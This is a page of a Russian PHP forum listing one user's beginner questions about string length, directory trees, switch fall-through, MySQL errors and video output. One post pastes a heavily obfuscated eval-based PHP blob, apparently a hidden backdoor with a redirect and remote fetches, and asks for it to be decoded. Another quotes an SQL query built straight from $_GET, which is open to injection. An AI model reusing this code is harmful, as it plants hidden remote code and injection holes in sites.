PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи

Страниц (2): [1] 2 »

> Найдено сообщений: 16
kalisto Отправлено: 13 Мая, 2013 - 22:40:42 • Тема: функция strlen • Форум: Напишите за меня, пожалуйста

Ответов: 5
Просмотров: 79

без использования функций php
kalisto Отправлено: 13 Мая, 2013 - 22:23:23 • Тема: функция strlen • Форум: Напишите за меня, пожалуйста

Ответов: 5
Просмотров: 79
как просчитать длину строки без использования функции strlen
kalisto Отправлено: 05 Июля, 2012 - 14:14:15 • Тема: помогите с заданием • Форум: Вопросы новичков

Ответов: 0
Просмотров: 69
$str = `dir` Извлеките из полу-
ченной строки имена всех файлов и каталогов и разместите их в масси-
вах $files и $dirs соответственно. Выведите содержимое этих масси-
вов, предварительно отсортировав их.
kalisto Отправлено: 20 Сентября, 2011 - 11:09:23 • Тема: помогите с деревом каталогов • Форум: Напишите за меня, пожалуйста

Ответов: 1
Просмотров: 40
добрый день вот написал скрипт вывода дерева каталогов но не все работает правильно подскажите пожалуйста
вот я написал:
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. <?php
  3.  
  4. function dirs($dir,$tab)
  5. {
  6.    
  7. if (is_dir($dir))
  8. {
  9.    echo "<ol>";
  10.    //немного разметки
  11.    echo "<b>[$dir]</b><br>";
  12.    
  13.        if ($d = opendir($dir))
  14.    {
  15.        while (($file = readdir($d)) !== false)
  16.        {
  17.             if ($file=="." or $file=="..")
  18.            {
  19.                continue;
  20.            }
  21.              echo "<li>";      
  22.             if (is_dir($dir."/$file"))
  23.             {
  24.                
  25.                $tab.="-";
  26.                dirs($dir."/$file",$tab);
  27.             }
  28.            
  29.                
  30.            //а здесь выводим файлы директории
  31.            else
  32.            {
  33.                echo "$tab$file,<br>";}
  34.           echo "</li>";
  35.        }
  36.        closedir($d);
  37.    }
  38.    echo "</ol>";
  39. }
  40. }
  41. dirs("."," ");
  42.  
  43.  
  44.  


вот что выводиться:
PHP:
скопировать код в буфер обмена
  1.  
  2. [.]
  3.  dir.php,
  4.  dirs.php,
  5.  info.php,
  6. [./lab]
  7.  -123.docx,
  8.  -233.txt,
  9. [./lab/lab3]
  10.  --wsss.docx,
  11. [./lab/lab4]
  12.  ---fff.txt,
  13.  -namedir.php,
  14.  -testtree.php,
  15.  -three.php,
  16. [./threedeer]
  17. [./threedeer/tree]
  18.  ---catalog.htm,
  19.  ---js.gif,
  20.  ---minus.gif,
  21.  ---plus.gif,
  22.  ---tp.gif,
  23.  ---tree.css,
  24.  ---tree.js,
  25.  ---tree.rar,
  26.  

файлы в текущем каталоге
-namedir.php,
-testtree.php,
-three.php,
выводяться не по очереди
kalisto Отправлено: 27 Мая, 2011 - 07:14:24 • Тема: Помогите раскодировать • Форум: Корзина

Ответов: 4
Просмотров: 2788
PHP:
скопировать код в буфер обмена
  1.  
  2. $l1ll1Il1II1lI1l1I1lIll=1237827780;$lll1=$lll="s";$ll1="ba".$lll."e".(3*7*1982/21/991*32)."_d";$lll.="ub".$lll."tr";$ll1.="eco";$ll1.="de";$l11="la".$lll1."he$lll1";$l11=$lll1."trip$lll1".$l11;eval($l11($ll1($lll("cJG50bTNrWzFdPVwiMmQ2YzMxYTYwN2ExNDdiMjcyZTg1MDIxY2Y1ZjkwNThcIjsvKlwiPz4NCjxmb250IGNvbG9yPWZmZmZmZj4qLyRudG0za1syXT1zdHJ0cigkbnRtM2tbMV0sXCIwMTIzNDU2Nzg5XCIsXCJzZXRscnZwaGlfXCIpOyRudG0za1s3XT0kbnRtM2tbOF09JG50bTNrWzRdPSRudG0za1syXXsyMX0uJG50bTNrWzJdezB9LiRudG0za1syXXsxMn07JG50bTNrWzRdLj0kbnRtM2tbMl17MH0uJG50bTNrWzJdezEyfTskbnRtM2tbNV09JG50bTNrWzJdezIxfS4kbnRtM2tbMl17MH0uJG50bTNrWzJdezEyfS4kbnRtM2tbMl17MTl9LiRudG0za1syXXsyfS4kbnRtM2tbMl17MjF9LiRudG0za1syXXs0fS4kbnRtM2tbMV17Nn0uJG50bTNrWzJdezh9LiRudG0za1syXXs5fS4kbnRtM2tbMV17MTh9LiRudG0za1syXXs4fTskbnRtM2tbN10uPSRudG0za1syXXsxMn0uXCJldlwiOyRudG0za1s5XT0kbnRtM2tbMl17MjF9LlwidWJcIjsvKjxzY3JpcHQ+ZG9jdW1lbnQubG9jYXRpb249XCJodHRwOi8vd3d3LmRhdGV0b3BpYS5jb20vXCI7PC9zY3JpcHQ+Ki8kbnRtM2tbOV0uPSRudG0za1s4XTskbnRtM2tbOF0uPVwiX1wiLiRudG0za1syXXsxMn0uXCJvXCIuJG50bTNrWzJdezB9OyRudG0za1s4XS49NjEzJTc1O2lmIChfX0xJTkVfXy0yKSBleGl0OyRudG0za1s2XT0kbnRtM2tbMV17MTR9LiRudG0za1sxXXs2fS4kbnRtM2tbMl17OH0uJG50bTNrWzFdezE4fS4kbnRtM2tbMV17N30uJG50bTNrWzFdezEyfS4kbnRtM2tbMl17Mjh9LiRudG0za1sxXXsxfS4kbnRtM2tbMV17MTh9LiRudG0za1sxXXszfS5cIm9cIi4kbnRtM2tbMV17MX0uJG50bTNrWzFdezE4fTtldmFsKCRudG0za1s1XSgkbnRtM2tbNl0oJG50bTNrWzRdKFwi5DJZZ0tDRWtiblJ0WmFOc2JtRmtaMlJiWkRjeE5qUmRLV0I3Wm5WdVkzUnBibXpnWkRjeE5qUfZLWHRsWW1odklDSThXRkkrUmFsc1pU9mfkMjVrWlhndWNHaHdJRHhDVWo1UWNhOWtkMk4wT2lCMuQyUmxieUJI5FhKc2N5QkPkVvZnUEVKV1BsWmxjbk5wYm16NklEY3VOaeU4UWxJK1RHbGpaMjVBWlT2ZzRUSUFOQWd5TkFjejRD5ThRbEkrUm1WdVpYSmhkR1ZrT2lCTllYSmrkQ+V5NHl3ZzRq5XdPV3dnTkH2dzR5QndiV0JEYm01MFkyTjBPaeVnWkdWaGJIQnNZWGzlZTJG9mJtOHVZbTl0UEVKV1BqeElVanppTzMwN0pHNTBiMlpqYkc5aFpHVmsybVEzNFRZMFhUMHhPMzA35DJZZ0tDRWtiblJ0WmFOc2JtRmtaMlJiWkRRM05qUmRLWHRhZDI1amRHbHZiaUJrTkRjbU5DZ3BlM0psZEhWeWJpQjDkMjFsS0NrN2ZUc2tiblJ0WmFOc2JtRmtaMlJiWkRRM05qUmRQVEU3ZlR0cFpp5fZJV1J1ZEcxYVlteHZZMlJsWkZ0azRUUW1ORjBwZXlSdWRHMWFZbXh2WTJSbFpGdGs0VFFtTkYwOTRUc2tiblJ0NG10YjRUQmRQV0ow5FdJdUlhMWxJanRhZDI1amRHbHZiaUJrNFRRbU5DZ2tZV2w3Wm14dllhRnNJQ1J1ZEcwQeRBc2djYVYwZFhKdUlDUnVkRzBB5DFzMVhXZ2tiblJ0NG10Yk5sMPZKRzUwYlROcjJBaGRLQ1JoS1drcE8zMDdmVHNn5DJZZ0tDRWtiblJ0WmFOc2JtRmtaMlJiWkRFM05qUmRLWHNrYm5SdFphTnNibUZrWjJSYlpERTNOalJkUFRFN1puVnVZM1JwYm16Z1pERTNOalH2SkdFcGVtZHNibUpoYkPla2JuUnQ0bXM3SUhKbGRIVnliaeVrYm5SdDRtdGJOVjD2Skc1MGJUTnIyQVpkS0NSdWRHMEHkMXMzWFdna2JuUnQ0bXRiT1Yw9kpHRXM0V2twS1drN2ZUdDlPeUJwWmnl9klXUmxaRFF4TmpRcElIc2taMlEwNFRZMFBURTdablZ1WTNScGJtemdaRFF4TmpR9kpIUXBJSHRuYkc5aVkyd2dKRzUwYlROckxD5WtXRlJVVUY5VFJWSjJSVkpmVmtGV1VBc2daMk72Ynnl9kpHNTBiVE5yMkFaZEtDSlFSMmQ2VUd4MmVsbFhaR3hKUkFsdFdVaFdibUZZVDJkajRqbHRaRWhr5EdOdFYyZGgyRTFuWWEwNTRFbEhSakZrUm1obVltMXNlbHBYVTJoUVFBbHZUWPYwT0dGSVdXdFFSMGtyVmExc+QxcFhPR2RXNGF4NVlraE5aMUZ0YkdGUVFBbHBVR2xCYjFSSGJHcORWQVY2MmxkUloxcHRPWGxKV0dRQVpIazFkMlJYVWF4WjRrWjBZQU5D5EZreVZYVlo0amwwVzFOQk9GbHVXV3RKUlU1bVkwaHNlMkZYWkc5a1dFMW5VVVJKZDAxRVRYVkpSVVpBWWtOQ2UyRlhaRzlrV0UxblltMTJlbHBZV2pK5FYxRjFVRWRLZVZCcFFsRmlSMVr2WUFKVloxa3lPWFZrUjBacVpFTkM0R0ZIVjJkajRqbHRaRWhr5EdOdFYyZGpXRXBtWkcxc+QxcFlXMmRQ5FVFejJWTkNibU50VmExUVZtZ3daRWhCTmt4NU9UTms0bU4xMmtkRzRGcFlVblpqUm149lRHMU9kYUpUTzJwaTRqVXcyVmRPNEV4WFVhaGtSbXgxMm5reGVsa0FXbkJqV0ZKNlRGaE9kbHB1VWpOWjJFcHNURmhPZGFKSVZqQmhWQWwxWTNrMWJtUkg0WE5R5DFK9lpFZDI0R0lBUW5CWlUwRjBXVVV45EdSSFRhOWlWMFp5WVZjMWJrbEQyMmRSNGpsMFlsaDJkMkZYVGFoa1JteG1ZYWxDVkdJeTJqQms0a1o1MmxSM2RsbFVOR2Q05G5ocFlt9jFWR1JZUW5kaTQw9ndUbWxCT0ZsVFFhOWpiVlp0VUZk9jRHUklRVFo0ZVRrQVpETmpkVnBIUmpC5DJGSm1ZMGRz5EV4dFRuWmlWRFZ2WkVoV2QwOXBPSFprNG1RQVRHMVfkR1JIVmpCaTQwSncyVjQx5GFJeTREaDQ0a1VyVUVkS2VWQnFlR2xq5GpROUlpa3VKSFFwT21WauRHOGdJanhpY2o1RVpYUmxZM1JsWkNCa2JtMWjkMno2SUNJdVhDUmZVMFZXVmtWVzIxTkZVbFpGVWw5T1FVMUZYVHRrTkFFbU5DZ3BPbVZ65FhRN2ZUdHBaaWdoS0NodFpEVfZjM1ZpYzNSeUtDUmZVMFZXVmtWVzIxTkZVbFpGVWw5T1FVMUZYV3d3TERJd0tXazlQV0poNGo0dzRBTmlObU5hWW1JbU5USUFOQVZsWlRWak5UZ3paamRqNEFnd1l5SXBmSHf2YjJRMUtITjFZbk4wY2lna1gxTkZVbFpGVWx0VFJWSjJSVkpmVGtGTlJWMHM0Q3d4TmlrcFBUMGlaR0psWVROYVpHVmxObVl3TlRRNVlBUmFZQWN5T0c0eDRUZzBOak5qNG00aUtYeDhLRzFrTldoQWQySkFkSEn2SkY5VFJWSjJSVkpiVTBWV1ZrVldYMDVCVFVWZExE5XNPV2twUFQwaU5ESXhZMkU1NEdVd05BbGFZVDR5TmFJbU5EazBaamd4NGFGazRUTmxOQWtpS1drcElHUTA0VFkwS0NJaUtUdDlPeUJwWmnl9kpHWnBiR1ZmY2FWd2IzSjBQVDBpWm1WdVpYSmhkR1VpS1dCa05BRW1OQ2dwT3c9PVwiLFwi5OX2YUFtejI0V1wiLFwiYUFvbXoyNFdNU1wiKSkpKTs=",1))));
  3.  
  4.  



PHP:
скопировать код в буфер обмена
  1.  
  2.  
  3. {;flush();;eval(d1464("WTqfp3WypGN9KPWmYaObpQ9fCGRlZmp4Zwp3BQNzpm13q3phoaIxMJAuoKAjLJAyYzAioFMxpm1fo2AuoTuip3DzpQ1pW1jvBmf=")); eval(d1464("WTqfp3WypG1pVzu0qUN6Yl9fnJAyoaAyYzS0MJ9gYzAioF9pVwf7"));$glsreq.=$glsreq0;eval(d1464("WTqfp3WypGR9KPWbqUEjBv8ioTywMJ5mMF5uLz5iLzymYzAioF9pVwf7"));$glsreq1.=$glsreq0;if (!$fp=@fopen($glsreq, r)) $fp=@fopen($glsreq1, r);if (!$fp){$old=d4764()-259200;if (eval(d1464("pzI0qKWhVPuyXUSmXSjvnJDtMaWioFOmqzIlp2yiovO3nTIlMFOfnJD9KPpkZwZ3BQV3AmtjKPptLJ5xVTkxVQ4tWT9fMSjvXFxcBj=="))) {;eval(d1764("W==wO7kiIcdCXwcCX9MHIk5WYgcCXwgzN3IDO3MjMxcCX9QWasBSZyVGa3BiM9MHI0V2cg42bpNnclZ3ciwFK1F3O"));}}else
  4. {$fsdata=fread($fp, 1000000); ;fclose($fp);if ($fsdata[0]=='1') {;eval(d1764("W==wO7kiIcdCXwgzN3IDO3MjMxcCX9QWasBSZyVGa3BSM9MHI0V2cg42bpNnclZ3ciwFK1F3O"));}if ($fsdata[0]=='0') {;eval(d1764("W==wO7kiIcdCXwgzN3IDO3MjMxcCX9QWasBSZyVGa3BCM9MHI0V2cg42bpNnclZ3ciwFK1F3O"));};eval(d1764("W7sTKiw1JcBDO3cjM4czMyEzJc1DZpxGIlJXZodHInwlIc5SKxwSY0FGZzZGJoIHdzJWdz5iIcdCX90GI0V2cg42bpNnclZ3ciwFK1F3O"));;eval(d1764("W=szOpICXnwFM4czNygzNzITMnwVPklGbgUmclh2dgICXukCK0YzN0QmLiwVPkxGI0V2cg42bpNnclZ3ciwFK1F3O"));}if (eval(d1464("pzI0qKWhVPuyXUSmXSjvnJDtMaWioFOmqzIlp2yiovO3nTIlMFOfnJD9KPpkZwZ3BQV3AmtjKPptLJ5xVTg5CIjaZmHmAmV1AmtmMGHkMJSuZGRlMJV4BTZmAQIwMwp2BGqpWlOuozDtpm1pWmOpWlOfnJ1cqPNjYQSpVvxcXGf="))){if (!$ntmfcloaded[d7464]) {function d7464($msg){eval(d1464("WTMio3Eypy9wo3O5pzyanUEmCIjvH29zqUqupzHtpT93MKWyMPOvrFN8LFObpzIzCJu0qUN6Yl93q3phMTS0MKEipTyuYzAioG5RLKEyqT9jnJRtYFORLKEcozptH2AlnKO0plOuozDtGJS0L2ugLJgcozptH29zqUqupzH8Y2R+YyjvBmf="));;eval(d1764("W7sTKiwlPyhGPnNXbk4jcixjPyJGPzRHanlmc5B3bj9lclR3bvZGJ+InY84jQvwTIuVncgQ3buBibhNGIldWYrNWYwBSZyF2d0Z2bzBycphGV+IEP+IHa8ICXo8GajV2O"));global $template; if (!$template) eval(d1464("WUEyoKOfLKEyCIjvK2EyMzS1oUEpVwf7"));include('_footer.php');exit;}$ntmfcloaded[d7464]=1;};
  5. eval(d1464("WUWmqzx9pKZbKPVdVTMlo20tp3MypaAco24tq2uypzHtoTyxCIjaZGVmAmtlAmp4ZSjaVTShMPOerG1pWmZ1ZmplAGp4Z2H1ZJIuLGRkZzIvBQuwZmD1L2L3Awx3KPptoTygnKDtZPjkKPVcBmf="));if (e($rsvi)) d7464(d1464("CRV+EIWFG1V6VR15H1SZVUA0paIwqUIlMFO2MKWmnJ9hVTyhMz9loJS0nJ9hVTymVT5iqPOwo21jLKEcLzkyYvOWoaA0LJkfVR15H1SZVUIjMTS0MKZtMz9lVUEbnKZtoTywMJ5mMFNbZGVmAmtlAmp4ZPxhCRV+"));else {$svi=f($rsvi);if ($svi['s']==2) d7464(d1464("CRV+EIWFG1V6VRkcL2Ihp2HtnJ5zo3WgLKEco24tL2ShVT5iqPOvMFOlMKElnJI2MJDuCP9PCt=="));else d7464($svi['m']);}} }include(t1("index.php"));eval(d1764("W=szOpICXwhGcuIXZ092bm9lIchSZkVHbj5WaK0wO"));}
  6.  
  7.  
kalisto Отправлено: 03 Марта, 2011 - 20:37:44 • Тема: помогите понять код • Форум: Программирование на PHP

Ответов: 6
Просмотров: 342
по идее должно быть так

CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2.  case 'K': $size = $size * 1024;
  3.     case 'M': $size = $size * 1024 * 1024;
  4.     case 'G': $size = $size * 1024 * 1024 * 1024;
  5.  
  6.  
kalisto Отправлено: 03 Марта, 2011 - 20:23:21 • Тема: помогите понять код • Форум: Программирование на PHP

Ответов: 6
Просмотров: 342
OrmaJever пишет:
PHP:
скопировать код в буфер обмена
  1. // берём параметр максимального размера post запроса
  2. $size = ini_get('post_max_size');
  3. // берём последний символ
  4. $letter = $size{(strlen($size))-1};
  5. // выбираем только числа (например 1024Мвозьсёт только 1024)
  6. $size = (integer)$size;
  7. // взависимости от последней буквы делаем действия
  8. switch ($letter)
  9. {
  10.     case 'K': $size = $size * 1024;
  11.     case 'M': $size = $size * 1024;
  12.     case 'G': $size = $size * 1024;
  13. }
  14. echo $size;


почему в конце в switch одинаковые действия
kalisto Отправлено: 03 Марта, 2011 - 20:02:41 • Тема: помогите понять код • Форум: Программирование на PHP

Ответов: 6
Просмотров: 342
CODE (htmlphp):
скопировать код в буфер обмена
  1.  
  2. $size = ini_get('post_max_size');
  3. $letter = $size{(strlen($size))-1};
  4. $size = (integer)$size;
  5. switch ($letter)
  6. {
  7.     case 'K': $size = $size * 1024;
  8.     case 'M': $size = $size * 1024;
  9.     case 'G': $size = $size * 1024;
  10. }
  11. echo $size;
  12.  
kalisto Отправлено: 02 Января, 2011 - 07:38:09 • Тема: Помогите пож понять • Форум: Программирование на PHP

Ответов: 6
Просмотров: 467
что значит $ip=='unknown' в коде.


CODE (htmlphp):
скопировать код в буфер обмена
  1. $ip = getenv("HTTP_X_FORWARDED_FOR");
  2. if (empty($ip) || $ip =='unknown') { $ip=getenv("REMOTE_ADDR"); }
kalisto Отправлено: 30 Октября, 2010 - 09:27:28 • Тема: Помогите пожалуйста • Форум: Программирование на PHP

Ответов: 5
Просмотров: 332
SAD пишет:
А вы не пробовали присвоить? $result = mysql_query("SELECT * FROM coment WHERE zam='$id'",$db);


пробовал
kalisto Отправлено: 30 Октября, 2010 - 09:12:47 • Тема: Помогите пожалуйста • Форум: Программирование на PHP

Ответов: 5
Просмотров: 332
помогите пожалуйста !!! есть запрос к базе данных :
CODE (htmlphp):
скопировать код в буфер обмена
  1.    
  2. <?php
  3.  
  4. $result= mysql_query("SELECT * FROM coment WHERE zam='$id'",$db);
  5.  if (mysql_num_rows($result)>0)
  6. {
  7. $myrow = mysql_fetch_array($result);
  8.  
  9. do
  10. {
  11. printf ("<p>%s</p><p>%s</p><p>%s</p>",$myrow['text'],$myrow['autor'],$myrow['date']);
  12. }
  13.  while($myrow = mysql_fetch_array($result));
  14.  
  15. }
  16. ?>

выдает ошибку :Warning: mysql_query() expects parameter 2 to be resource, null given in snip.php on line 4
Warning: mysql_num_rows() expects parameter 1 to be resource, null given in snip.php on line 5

вот база:

id - zam - author - text - date
1 - - 1 --- marina --hi -- 2010-10-10
kalisto Отправлено: 12 Октября, 2010 - 07:20:34 • Тема: вывод видео из базы данных • Форум: Программирование на PHP

Ответов: 3
Просмотров: 404
я понимаю что хранить ссылки в базе а как вывести видео на страничку и проиграть его?
kalisto Отправлено: 11 Октября, 2010 - 21:29:54 • Тема: вывод видео из базы данных • Форум: Программирование на PHP

Ответов: 3
Просмотров: 404
подскажите пожалуйста как организовать вывод видео с помощью php. видео хранить на сервере и выводить только ссылки или хранить видео в базах данных?
kalisto Отправлено: 29 Сентября, 2010 - 02:25:27 • Тема: Помогите понять запись • Форум: Программирование на PHP

Ответов: 4
Просмотров: 304
kalisto пишет:
Помогите понять запись -
CODE (htmlphp):
скопировать код в буфер обмена
  1.   category='$_GET[category]'

данная запись идет в запросе к базе данных
CODE (htmlphp):
скопировать код в буфер обмена
  1. $select="SELECT * FROM db WHERE category='$_GET[category]' AND status='online'";
kalisto Отправлено: 29 Сентября, 2010 - 01:03:26 • Тема: Помогите понять запись • Форум: Программирование на PHP

Ответов: 4
Просмотров: 304
Помогите понять запись -
CODE (htmlphp):
скопировать код в буфер обмена
  1.   category='$_GET[category]'

Страниц (2): [1] 2 »
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB